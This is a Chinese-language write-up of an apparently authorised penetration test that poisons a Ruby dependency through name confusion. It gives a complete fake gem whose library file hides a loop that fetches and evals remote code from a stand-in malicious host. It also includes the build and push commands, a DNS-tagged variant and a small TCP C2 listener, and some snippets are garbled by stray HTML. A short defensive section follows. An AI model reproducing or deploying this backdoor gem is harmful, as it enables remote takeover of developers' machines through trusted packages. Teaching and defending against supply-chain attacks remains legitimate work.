一、一次被忽视的供应链攻防案例

有一次,我接手了一项针对某大型企业的授权渗透测试任务。表面上看,这家企业的安全防护做得滴水不漏:边界防护设备齐全,内部网络分段合理,甚至连EDR部署得相当规范。然而,我却在一次无意的代码仓库扫描中,发现了一条被忽略的供应链攻击路径。就是这条不起眼的路径,最终让我成功拿下了整片内网。

事情的起因是在信息收集阶段,我在企业的公开代码仓库中发现了一个用于构建内部工具的开源项目。这个项目不仅包含了企业内部使用的脚本和配置文件,甚至还引用了一个第三方的公共依赖包。很快,我意识到,这是一个潜在的供应链攻击点。

供应链攻击便是利用目标对第三方服务或工具的信任,将恶意代码注入其中,间接地感染目标环境。在这次任务中,我选择了伪造并投毒企业依赖的第三方包,以实现恶意代码的远程植入。这条路径不仅隐蔽性极强,而且极易绕过传统防护体系。以下是这次攻击的完整复盘。

---

二、投毒的起点:定位关键依赖包

供应链攻击的核心在于找到目标系统信任的第三方组件,并将其控制权转化为攻击路径。在这次任务中,我的目标是一个名为 internal-helper 的内部工具项目,以下是我逐步展开的分析过程:

公共仓库信息收集

通过对企业公开代码仓库的扫描,我获取了以下信息:

  • 项目名称:internal-helper
  • 代码托管平台:GitHub
  • 依赖文件:Gemfile(典型的 Ruby 项目依赖文件)
  • 依赖包列表:
  • rails
  • pg
  • log_formatter(自定义包,非公开库,极可能来自企业内部仓库)

其中,log_formatter 是一个明显的目标。它并未在 Ruby 的官方包管理平台 RubyGems 中找到详细信息,很可能是企业从内部组件库下载的依赖包。

黑客示意图

假设攻击点

按照我的经验,这种未公开的包管理方式可能会存在两种问题:

  1. 企业内部包名与公共平台包名重复,存在包投毒的风险。
  2. 内部包托管服务未设置严格的校验机制,例如未限制源地址或启用签名验证。

如果上述假设成立,我可以伪造 log_formatter 包,并将其投放到公共平台 RubyGems 上。一旦目标开发者在未指定严格来源的情况下执行 bundle install 或更新依赖,就可能无意中拉取到我发布的恶意代码。

---

三、伪造毒包:从零制作恶意依赖

接下来是真实的技术操作环节,我需要伪造一个与 log_formatter 名字相同,但内部包含恶意 payload 的 Ruby 包。

创建恶意包

黑客示意图

  1. 创建基础目录结构
  2. 我首先需要搭建一个符合 RubyGems 标准的包目录结构:

<pre><code class="language-shell"> mkdir log_formatter cd log_formatter mkdir lib touch lib/log_formatter.rb `

  1. 编辑 log_formatter.gemspec 文件
  2. 这是 Ruby 包的核心配置文件,用于声明包的元信息。我的目标是尽可能伪装成真实的企业内部依赖包:

`ruby Gem::Specification.new do |spec| spec.name = &quot;log_formatter&quot; spec.version = &quot;1.0.0&quot; spec.authors = [&quot;Internal Dev Team&quot;] spec.email = [&quot;[email protected]&quot;] spec.summary = &quot;A custom log formatter&quot; spec.description = &quot;A custom log formatter used in our internal tools.&quot; spec.homepage = &quot;https://internal.targetcompany.com&quot; spec.files = [&quot;lib/log_formatter.rb&quot;] end `

  1. 植入恶意代码
  2. 在关键脚本文件 lib/log_formatter.rb 中,我植入了远程命令执行的 payload:

`ruby require &#039;open-uri&#039;

伪装正常功能

class LogFormatter def self.format(log) &quot;[INFO] #{log}&quot; end end

恶意代码部分

Thread.new do while true begin eval(open(&quot;http://malicious-server/payload.rb&quot;).read) rescue sleep(10) # 若未获取到有效代码,继续轮询 end end end `

发布到公共平台

黑客示意图

RubyGems 是 Ruby 的官方包托管平台,我利用官方工具将伪造的包上传到平台中:

黑客示意图 </code></pre>shell gem build log_formatter.gemspec gem push log_formatter-1.0.0.gem <pre><code> 上传完成后,伪造的 log_formatter 包已位于公共仓库中,等待目标开发者不经意地拉取。

---

四、执行攻击:等待鱼儿上钩

恶意包发布后,我需要观察目标的开发者是否会触发我的投毒攻击。以下是我的操作步骤:

1. 监控 DNS 请求

为了判断是否有人下载了我的恶意包,我在恶意代码中加入了 DNS 请求的指纹标记。例如,在调用远程 payload 时,使用了特制的二级域名:</code></pre>ruby eval(open("http://log-fetch.my-malicious-site.com/payload.rb").read) <pre><code>通过配置 DNS 日志,我可以实时确认目标环境是否开始访问我的 C2 服务器。

2. 构建 C2 服务

为了接受目标环境的连接,我为伪造的包搭建了一个简单的 C2 服务器。以下是服务端的代码:</code></pre>ruby require 'socket'

server = TCPServer.new('0.0.0.0', 4444)

loop do client = server.accept puts "Connection received: #{client.peeraddr}" client.puts "Whoami?"; input = client.gets.chomp client.puts "Command result: #{#{input}}" # 执行远程指令 client.close end ` 当目标开发者的系统拉取到恶意包时,这段代码会让目标环境挂载到我的 C2 服务上,完成初步的权限接管。

---

五、防御视角:如何避免此类攻击

供应链攻击极具隐蔽性,但并非无法防御。以下是一些关键的防御思路:

  1. 严格校验包来源
  2. 在依赖管理工具中显式指定包来源,并尽量避免使用未签名的第三方包。

  1. 代码仓库审计
  2. 定期对公开和内部代码仓库进行审计,避免泄露关键信息。

  1. 网络请求监控
  2. 在开发环境中对外部网络请求进行严格监控,尤其关注 DNS 查询和 HTTP 流量。

  1. 加强供应商管理
  2. 对于关键组件供应商,应进行定期的安全评估和渗透测试。

---

六、个人复盘:攻击思维与防守意识的平衡

供应链攻击的本质在于利用目标的信任链条实现间接入侵。在这次任务中,我深刻体会到,攻击者的视角往往能发现防御者无法察觉的盲点。你可以投入大量资源构建边界防护,但如果信任的核心组件出了问题,一切都将前功尽弃。

对于渗透测试工程师来说,供应链攻击绝不仅仅是技术问题,更是一场心理战。理解目标的信任逻辑,才能找到真正的突破口。这次任务的成功提醒我,红队和蓝队的较量从来都是一场无形的博弈,而我们能做的,就是不断学习与进化。